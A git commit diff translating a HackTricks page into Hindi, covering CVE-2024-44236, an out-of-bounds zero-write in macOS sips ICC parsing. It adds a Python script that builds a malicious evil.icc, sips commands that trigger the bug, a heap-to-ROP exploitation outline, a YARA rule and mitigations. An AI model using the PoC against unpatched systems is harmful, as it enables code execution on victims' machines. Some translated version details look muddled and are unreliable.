Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips

This commit is contained in:
Translator 2025-07-30 04:26:40 +00:00
parent 6f4fb1b799
commit c5dde7f077

View File

@ -4,50 +4,94 @@
## Overview
Apple macOS Scriptable Image Processing System (`sips`) ICC प्रोफ़ाइल पार्सर (macOS 15.0.1, sips-307) में एक आउट-ऑफ-बाउंड्स लिखने की कमजोरी है जो `lutAToBType` (`mAB `) और `lutBToAType` (`mBA `) टैग में `offsetToCLUT` फ़ील्ड के अनुचित सत्यापन के कारण है। एक तैयार ICC फ़ाइल शून्य-लिखने को 16 बाइट्स तक हीप बफर के पार ट्रिगर कर सकती है, जिससे हीप मेटाडेटा या फ़ंक्शन पॉइंटर्स भ्रष्ट हो जाते हैं और मनमाने कोड निष्पादन की अनुमति मिलती है (CVE-2024-44236).
Apple macOS **Scriptable Image Processing System** (`sips`) ICC प्रोफ़ाइल पार्सर (macOS 15.0.1, `sips-307`) में एक आउट-ऑफ-बाउंड्स **zero-write** भेद्यता एक हमलावर को हीप मेटाडेटा को भ्रष्ट करने और प्राइमिटिव को पूर्ण कोड-एक्ज़ेक्यूशन में बदलने की अनुमति देती है। बग `lutAToBType` (`mAB `) और `lutBToAType` (`mBA `) टैग के `offsetToCLUT` फ़ील्ड के हैंडलिंग में स्थित है। यदि हमलावर `offsetToCLUT == tagDataSize` सेट करते हैं, तो पार्सर **हीप बफर के अंत के 16 बाइट्स को मिटा देता है**। हीप स्प्रेइंग हमलावर को आवंटक संरचनाओं या C++ पॉइंटर्स को ज़ीरो-आउट करने की अनुमति देती है, जिन्हें बाद में डेरिफ़रेंस किया जाएगा, जिससे एक **arbitrary-write-to-exec** चेन (CVE-2024-44236, CVSS 7.8) उत्पन्न होती है।
> Apple ने macOS Sonoma 15.2 / Ventura 14.7.1 (30 अक्टूबर, 2024) में बग को पैच किया। एक दूसरा वेरिएंट (CVE-2025-24185) को 1 अप्रैल, 2025 को macOS 15.5 और iOS/iPadOS 18.5 में ठीक किया गया।
## Vulnerable Code
कमजोर फ़ंक्शन एक हमलावर-नियंत्रित ऑफसेट से शुरू होकर 16 बाइट्स को पढ़ता और शून्य करता है बिना यह सुनिश्चित किए कि यह आवंटित बफर के भीतर है:
```c
// Pseudocode from sub_1000194D0 in sips-307 (macOS 15.0.1)
for (i = offsetToCLUT; i < offsetToCLUT + 16; i++) {
if (i > numberOfInputChannels && buffer[i] != 0)
buffer[i] = 0;
// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
if (offsetToCLUT <= tagDataSize) {
// BAD ➜ zero 16 bytes starting *at* offsetToCLUT
for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++)
buffer[i] = 0; // no bounds check vs allocated size!
}
```
केवल एक जांच `offsetToCLUT <= totalDataLength` की जाती है। `offsetToCLUT == tagDataSize` सेट करके, लूप `buffer` के अंत के 16 बाइट्स तक इंडेक्स करता है, जिससे आस-पास के हीप मेटाडेटा को भ्रष्ट किया जाता है।
## Exploitation Steps
## शोषण के चरण
1. **एक दुर्भावनापूर्ण `.icc` प्रोफ़ाइल तैयार करें**
1. **दुष्ट `.icc` प्रोफ़ाइल तैयार करें:**
- ICC हेडर (128 बाइट्स) को `acsp` हस्ताक्षर और एकल `lutAToBType` या `lutBToAType` टैग प्रविष्टि के साथ बनाएं
- टैग तालिका में, `offsetToCLUT` को टैग के `size` (`tagDataSize`) के बराबर सेट करें।
- हीप मेटाडेटा को ओवरराइट करने के लिए टैग डेटा ब्लॉक के तुरंत बाद हमलावर-नियंत्रित डेटा रखें।
2. **पार्सिंग को ट्रिगर करें:**
* एक न्यूनतम ICC हेडर (`acsp`) सेट करें और एक `mAB ` (या `mBA `) टैग जोड़ें।
* टैग तालिका को इस तरह कॉन्फ़िगर करें कि **`offsetToCLUT` टैग आकार के बराबर हो** (`tagDataSize`)
* हमलावर-नियंत्रित डेटा को टैग के ठीक बाद रखें ताकि 16 शून्य लेखन आवंटक मेटाडेटा के साथ ओवरलैप हो जाएं।
2. **प्रोफ़ाइल को छूने वाले किसी भी sips ऑपरेशन के साथ पार्सिंग को ट्रिगर करें**
```bash
sips --verifyColor malicious.icc
# सत्यापन पथ (आउटपुट फ़ाइल की आवश्यकता नहीं)
sips --verifyColor evil.icc
# या जब प्रोफ़ाइल को एम्बेड करने वाली छवियों को परिवर्तित करते समय अप्रत्यक्ष रूप से
sips -s format png payload.jpg --out out.png
```
3. **हीप मेटाडेटा भ्रष्टाचार:** OOB ज़ीरो-लिखाई आवंटक मेटाडेटा या आस-पास के पॉइंटर्स को ओवरराइट करती है, जिससे हमलावर को नियंत्रण प्रवाह को हाईजैक करने और `sips` प्रक्रिया के संदर्भ में मनमाना कोड निष्पादन प्राप्त करने की अनुमति मिलती है।
3. **हीप मेटाडेटा भ्रष्टाचार ➜ मनमाना लेखन ➜ ROP**
Apple के डिफ़ॉल्ट **`nano_zone` आवंटक** पर, 16-बाइट स्लॉट के लिए मेटाडेटा **सही तरीके से संरेखित 0x1000 स्लैब के तुरंत बाद** रहता है। ऐसे स्लैब के अंत में प्रोफ़ाइल का टैग रखकर, 16 शून्य-लेखन `meta->slot_B` को क्लॉबर कर देते हैं। एक बाद के `free` के बाद, विषाक्त पॉइंटर को छोटे मुक्त सूची में कतारबद्ध किया जाता है, जिससे हमलावर को **एक मनमाने पते पर एक नकली ऑब्जेक्ट आवंटित करने** और sips द्वारा उपयोग किए जाने वाले C++ vtable पॉइंटर को ओवरराइट करने की अनुमति मिलती है, अंततः निष्पादन को दुर्भावनापूर्ण ICC बफर में संग्रहीत ROP श्रृंखला पर पिवट करते हैं।
### त्वरित PoC जनरेटर (Python 3)
```python
#!/usr/bin/env python3
import struct, sys
HDR = b'acsp'.ljust(128, b'\0') # ICC header (magic + padding)
TAGS = [(b'mAB ', 132, 52)] # one tag directly after header
profile = HDR
profile += struct.pack('>I', len(TAGS)) # tag count
profile += b''.join(struct.pack('>4sII', *t) for t in TAGS)
mab = bytearray(52) # tag payload (52 bytes)
struct.pack_into('>I', mab, 44, 52) # offsetToCLUT = size (OOB start)
profile += mab
open('evil.icc', 'wb').write(profile)
print('[+] Wrote evil.icc (%d bytes)' % len(profile))
```
### YARA पहचान नियम
```yara
rule ICC_mAB_offsetToCLUT_anomaly
{
meta:
description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)"
author = "HackTricks"
strings:
$magic = { 61 63 73 70 } // 'acsp'
$mab = { 6D 41 42 20 } // 'mAB '
$mba = { 6D 42 41 20 } // 'mBA '
condition:
$magic at 0 and
for any i in (0 .. 10): // up to 10 tags
(
($mab at 132 + 12*i or $mba at 132 + 12*i) and
uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
)
}
```
## प्रभाव
सफल शोषण का परिणाम macOS सिस्टम पर उपयोगकर्ता विशेषाधिकार पर दूरस्थ मनमाना कोड निष्पादन होता है जो कमजोर `sips` उपयोगिता चला रहा है।
एक तैयार ICC प्रोफ़ाइल को खोलने या संसाधित करने से दूरस्थ **मनमाना कोड निष्पादन** होता है जो उपयोगकर्ता के संदर्भ में होता है (पूर्वावलोकन, क्विकलुक, सफारी छवि रेंडरिंग, मेल अटैचमेंट, आदि), गेटकीपर को बायपास करते हुए क्योंकि प्रोफ़ाइल को अन्यथा निर्दोष छवियों (PNG/JPEG/TIFF) के अंदर एम्बेड किया जा सकता है।
## पहचान
## पहचान और शमन
- सामान्य प्रोटोकॉल (FTP, HTTP/S, IMAP, SMB, NFS, SMTP) पर फ़ाइल ट्रांसफर की निगरानी करें।
- हस्ताक्षर `acsp` के साथ स्थानांतरित फ़ाइलों का निरीक्षण करें।
- प्रत्येक `mAB ` या `mBA ` टैग के लिए, सत्यापित करें कि `Offset to CLUT` फ़ील्ड `Tag data size` के बराबर है।
- यदि यह स्थिति पूरी होती है तो इसे संदिग्ध के रूप में चिह्नित करें।
* **पैच करें!** सुनिश्चित करें कि होस्ट macOS ≥ 15.2 / 14.7.1 (या iOS/iPadOS ≥ 18.1) चला रहा है।
* ईमेल गेटवे और EDR समाधानों पर ऊपर दिए गए YARA नियम को लागू करें।
* अविश्वसनीय फ़ाइलों पर आगे की प्रक्रिया से पहले `exiftool -icc_profile= -overwrite_original <file>` के साथ एम्बेडेड ICC प्रोफ़ाइल को स्ट्रिप या सैनीटाइज करें।
* अज्ञात सामग्री का विश्लेषण करते समय पूर्वावलोकन/क्विकलुक को "पारदर्शिता और आधुनिकीकरण" VMs के अंदर सैंडबॉक्स में चलाकर मजबूत करें।
* DFIR के लिए, एकीकृत लॉग में सैंडबॉक्स ऐप्स द्वारा `sips --verifyColor` या `ColorSync` पुस्तकालय लोड के हाल के निष्पादन की तलाश करें।
## संदर्भ
- ZDI ब्लॉग: CVE-2024-44236: Apple macOS sips Utility में दूरस्थ कोड निष्पादन भेद्यता
https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulnerability-in-apple-macos
- Apple अक्टूबर 2024 सुरक्षा अपडेट (CVE-2024-44236 पैच शिपिंग)
https://support.apple.com/en-us/121564
* Trend Micro Zero Day Initiative सलाह ZDI-24-1445 “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)”
https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
* Apple सुरक्षा अपडेट HT213981 “macOS Sonoma 15.2 की सुरक्षा सामग्री के बारे में”
https://support.apple.com/en-us/HT213981
{{#include ../../banners/hacktricks-training.md}}